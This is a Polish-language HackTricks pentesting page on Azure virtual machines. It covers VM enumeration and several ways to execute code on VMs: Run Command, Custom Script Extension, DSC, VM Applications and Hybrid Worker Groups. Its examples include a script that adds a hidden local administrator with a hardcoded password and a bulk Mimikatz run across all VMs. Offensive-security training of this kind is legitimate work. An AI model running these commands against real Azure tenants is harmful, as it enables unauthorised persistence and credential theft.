Az - Virtual Machines & Network

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Podstawowe informacje

Z dokumentacji: Maszyny wirtualne Azure są jednym z wielu rodzajów na żądanie, skalowalnych zasobów obliczeniowych, które oferuje Azure. Zazwyczaj wybierasz maszynę wirtualną, gdy potrzebujesz większej kontroli nad środowiskiem obliczeniowym niż oferują inne opcje. Ten artykuł zawiera informacje na temat tego, co powinieneś wziąć pod uwagę przed utworzeniem maszyny wirtualnej, jak ją utworzyć i jak nią zarządzać.

Informacje o sieci Azure

Sieci Azure zawierają różne jednostki i sposoby ich konfiguracji. Możesz znaleźć krótkie opisy, przykłady i polecenia wyliczające różne jednostki sieciowe Azure w:

pageAz - Azure Network

Azure Bastion

Azure Bastion oferuje bezpieczne, w pełni zarządzane rozwiązanie dostępu RDP (Remote Desktop Protocol) i SSH (Secure Shell) przez SSL za pośrednictwem portalu Azure. Jest zintegrowany w ramach wirtualnej sieci Azure, umożliwiając dostęp RDP i SSH do maszyn wirtualnych za pomocą prywatnych adresów IP, eliminując potrzebę publicznych adresów IP. Jest to bezpieczniejsza i bardziej wygodna alternatywa dla tradycyjnych metod, które wymagają przypisywania publicznych adresów IP i konfiguracji reguł NSG dla dostępu do maszyn wirtualnych. Programiści i personel IT mogą bezpiecznie uzyskiwać dostęp do maszyn wirtualnych z portalu Azure za pomocą przeglądarek internetowych, co usprawnia proces tworzenia i testowania środowisk.

Aby wyświetlić wszystkie hosty Azure Bastion w swojej subskrypcji, można użyć następującego polecenia:

az network bastion list --query "[].{name:name, resourceGroup:resourceGrou, location:location}" -o table

Wyliczanie maszyn wirtualnych

Wyliczanie maszyn wirtualnych

Aby rozpocząć test penetracyjny na maszynach wirtualnych w usłudze Azure, należy najpierw przeprowadzić wyliczanie maszyn wirtualnych. Wyliczanie to polega na identyfikacji i zbieraniu informacji na temat dostępnych maszyn wirtualnych w celu dalszej analizy i ataku.

Wykorzystanie Azure CLI

Azure CLI jest narzędziem wiersza poleceń, które można wykorzystać do wyliczania maszyn wirtualnych w usłudze Azure. Aby to zrobić, wykonaj następujące kroki:

  1. Zainstaluj Azure CLI na swoim systemie.

  2. Zaloguj się do swojego konta Azure przy użyciu polecenia az login.

  3. Wykonaj polecenie az vm list w celu wylistowania wszystkich maszyn wirtualnych w swoim subskrypcji Azure.

Wykorzystanie Azure Portal

Azure Portal to interfejs graficzny, który umożliwia zarządzanie usługami Azure, w tym maszynami wirtualnymi. Aby wyliczyć maszyny wirtualne za pomocą Azure Portal, wykonaj następujące kroki:

  1. Zaloguj się do Azure Portal przy użyciu swojego konta Azure.

  2. Przejdź do sekcji "Maszyny wirtualne" i wybierz odpowiednią subskrypcję.

  3. Wyświetl listę dostępnych maszyn wirtualnych i kliknij na wybraną maszynę, aby uzyskać więcej informacji.

Wykorzystanie Azure PowerShell

Azure PowerShell to moduł PowerShell, który umożliwia zarządzanie usługami Azure. Aby wyliczyć maszyny wirtualne za pomocą Azure PowerShell, wykonaj następujące kroki:

  1. Zainstaluj moduł Azure PowerShell na swoim systemie.

  2. Zaloguj się do swojego konta Azure przy użyciu polecenia Connect-AzAccount.

  3. Wykonaj polecenie Get-AzVM w celu wylistowania wszystkich maszyn wirtualnych w swojej subskrypcji Azure.

Wykorzystanie Azure REST API

Azure REST API to interfejs programistyczny, który umożliwia komunikację z usługami Azure za pomocą żądań HTTP. Aby wyliczyć maszyny wirtualne za pomocą Azure REST API, wykonaj następujące kroki:

  1. Uzyskaj token dostępu do Azure AD za pomocą żądania POST do https://login.microsoftonline.com/{tenant}/oauth2/token.

  2. Wykonaj żądanie GET do https://management.azure.com/subscriptions/{subscriptionId}/providers/Microsoft.Compute/virtualMachines?api-version=2020-06-01 z nagłówkiem Authorization zawierającym token dostępu.

Analiza wyników

Po przeprowadzeniu wyliczania maszyn wirtualnych, należy przeanalizować zebrane informacje w celu identyfikacji potencjalnych celów ataku. Można zwrócić uwagę na takie informacje jak nazwy maszyn, adresy IP, systemy operacyjne, otwarte porty itp. Te informacje mogą być wykorzystane do dalszych etapów testu penetracyjnego.

# Get readable VMs
Get-AzVM | fl
# Lis running VMs
Get-AzureRmVM -status | where {$_.PowerState -EQ "VM running"} | select ResourceGroupName,Name
Get-AzVM -Name <name> -ResourceGroupName <res_group_name> | fl *
Get-AzVM -Name <name> -ResourceGroupName <res_group_name> | select -ExpandProperty NetworkProfile

# Get iface and IP address
Get-AzNetworkInterface -Name <interface_name>
Get-AzPublicIpAddress -Name <iface_public_ip_id>

#Get installed extensions
Get-AzVMExtension -ResourceGroupName <res_group_name> -VMName <name>

Get-AzVM | select -ExpandProperty NetworkProfile # Get name of network connector of VM
Get-AzNetworkInterface -Name <name> # Get info of network connector (like IP)

Wykonaj polecenia w maszynie wirtualnej

Logowanie AAD w maszynie wirtualnej

Możliwe jest umożliwienie dostępu użytkownikom uwierzytelnionym za pomocą AzureAD. Na przykład, próbując uzyskać dostęp do maszyny wirtualnej Linux: ssh username@azure-corp.com@1.1.1.1 (ważne jest użycie adresu e-mail z azurecorp podczas próby logowania), możesz otrzymać błąd:

(username@azure-corp.com@1.1.1.1) This preview capability is not for production use. When you sign in, verify the name of the app on the sign-in screen is "Azure Linux VM Sign-in" and the IP address of the target VM is correct.

To sign in, use a web browser to open the page https://microsoft.com/devicelogin and enter the code DT4PNSTGR to authenticate. Press ENTER when ready.

Po prostu postępuj zgodnie z tymi instrukcjami, przechodząc do https://microsoft.com/devicelogin i podając kod, użyj adresu e-mail i hasła jako poświadczeń, a będziesz mógł połączyć się za pomocą SSH (jeśli ten użytkownik ma wystarczające uprawnienia do tego: rola Virtual Machine Administrator Login lub Virtual Machine User Login).

Uruchom polecenie

# The permission allowing this is Microsoft.Compute/virtualMachines/runCommand/action
Invoke-AzVMRunCommand -ScriptPath .\adduser.ps1 -CommandId 'RunPowerShellScript' -VMName 'juastavm' -ResourceGroupName 'Research' –Verbose
## Another way
Invoke-AzureRmVMRunCommand -ScriptPath .\adduser.ps1 -CommandId 'RunPowerShellScript' -VMName 'juastavm' -ResourceGroupName 'Research' –Verbose

# Content of the script
$passwd = ConvertTo-SecureString "Welcome2022!" -AsPlainText -Force
New-LocalUser -Name new_user -Password $passwd
Add-LocalGroupMember -Group Administrators -Member new_user
# Try to run in every machine
Import-module MicroBurst.psm1
Invoke-AzureRmVMBulkCMD -Script Mimikatz.ps1 -Verbose -output Output.txt

Uruchom rozszerzenie skryptu niestandardowego

Rozszerzenia maszyn wirtualnych (VM) w Azure to małe aplikacje, które dostarczają konfigurację po wdrożeniu i automatyzację zadań na maszynach wirtualnych Azure. Na przykład, jeśli maszyna wirtualna wymaga instalacji oprogramowania, ochrony antywirusowej lub możliwości uruchomienia skryptu w jej wnętrzu, można użyć rozszerzenia VM.

Dlatego, jeśli masz dostęp do zapisania go, możesz wykonać dowolny kod:

# Microsoft.Compute/virtualMachines/extensions/write
Set-AzVMExtension -ResourceGroupName "Research" -ExtensionName "ExecCmd" -VMName "infradminsrv" -Location "Germany West Central" -Publisher Microsoft.Compute -ExtensionType CustomScriptExtension -TypeHandlerVersion 1.8 -SettingString '{"commandToExecute":"powershell net users new_user Welcome2022. /add /Y; net localgroup administrators new_user /add"}'

DesiredConfigurationState (DSC)

DesiredConfigurationState (DSC) to narzędzie PowerShell podobne do Ansible, używane do konfiguracji hosta za pomocą kodu. DSC integruje się z Azure, umożliwiając przesyłanie określonych plików konfiguracyjnych. Pliki te muszą być zgodne z ściśle określoną składnią. Warto zauważyć, że rozszerzenie DSC w Azure może wykonywać polecenia z plików, które spełniają określone kryteria formatowania, nawet jeśli składnia nie jest poprawna zgodnie ze standardami DSC, jak pokazano na dostarczonym obrazku.

Wykonanie tych poleceń ułatwia funkcja Publish-AzVMDscConfiguration w Az PowerShell. Wymagania obejmują plik .PS1 z zdefiniowaną funkcją, który musi być spakowany do pliku .zip. Nawet jeśli składnia może nie być poprawna dla DSC, kod i tak zostanie wykonany. Jednak rozszerzenie oznaczy status wykonania jako "niepowodzenie", a brak wyników polecenia będzie widoczny ze względu na nadpisanie statusu przez komunikat o niepowodzeniu.

Definicje aplikacji VM

Definicje aplikacji VM umożliwiają powtarzalne wdrażanie wersjonowanych aplikacji na maszynie wirtualnej Azure. Ten zasób obsługuje wdrażanie i aktualizację aplikacji na maszynach wirtualnych. Aby to skonfigurować, konieczne jest wykonanie kilku kroków, w tym użycie poleceń takich jak New-AzGalleryApplication i New-AzGalleryApplicationVersion w Az PowerShell.

Wykonanie aplikacji lub poleceń za pomocą tej metody obejmuje użycie rozszerzenia "VMAppExtension", które jest automatycznie instalowane, gdy aplikacja jest stosowana na maszynie wirtualnej. Rozszerzenie pobiera plik z określonego adresu URI i nadaje mu dokładnie taką samą nazwę jak aplikacja, bez rozszerzenia. Aby poprawnie wykonać plik, pole "ManageActions" w wywołaniu interfejsu API REST musi być skonfigurowane tak, aby zmienić nazwę pliku na odpowiednie rozszerzenie. Po zakończeniu konfiguracji ta metoda będzie przypominać strukturę pokazaną na dostarczonym obrazku.

Jednak ta metoda wykonania jest stosunkowo wolna i zajmuje około 3-4 minut na wykonanie aplikacji lub polecenia. Pliki związane z tym procesem są przechowywane w określonych katalogach (C:\Packages\Plugins\Microsoft.CPlat.Core.VMApplicationManagerWindows\1.0.4\Downloads\ dla kopii aplikacji i C:\Packages\Plugins\Microsoft.CPlat.Core.VMApplicationManagerWindows\1.0.4\Status\ dla statusu wykonania).

Obie techniki zapewniają unikalne sposoby wykonywania poleceń i wdrażania aplikacji w środowiskach Azure, z własnym zestawem wymagań, kroków i uwag.

Grupy hybrydowe pracowników (HWG) w Azure

Grupy hybrydowe pracowników (HWG) to funkcja w Azure, która umożliwia wykonywanie skryptów uruchamianych w koncie automatyzacji na maszynie wirtualnej Azure (VM), która jest częścią wyznaczonej grupy HWG. Wykonanie to jest ułatwiane przez rozszerzenie zainstalowane na VM, które implementuje kod skryptu na VM. Istotnym aspektem tego procesu jest to, że faktyczne poświadczenia nie mają znaczenia podczas wykonywania, ponieważ kod działa z podwyższonymi uprawnieniami, konkretnie jako SYSTEM lub root, jak pokazano na dostarczonym obrazku.

Ważnym szczegółem dla osób korzystających z maszyn wirtualnych z systemem Windows 10 jest konieczność określenia wersji PowerShell dla skryptu. Powinna być ustawiona na wersję PowerShell 5.1 zamiast 7.1. Wymaganie to wynika z faktu, że PowerShell 7.1 nie jest domyślnie zainstalowany na tych maszynach, co prowadzi do niepowodzenia wykonania skryptu, jeśli określono wersję 7.1.

Ta funkcja Azure oferuje solidny sposób na automatyzację i zarządzanie zadaniami w środowiskach hybrydowych, umożliwiając scentralizowane zarządzanie i wykonywanie zadań na maszynach wirtualnych Azure.

Odwołania

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Last updated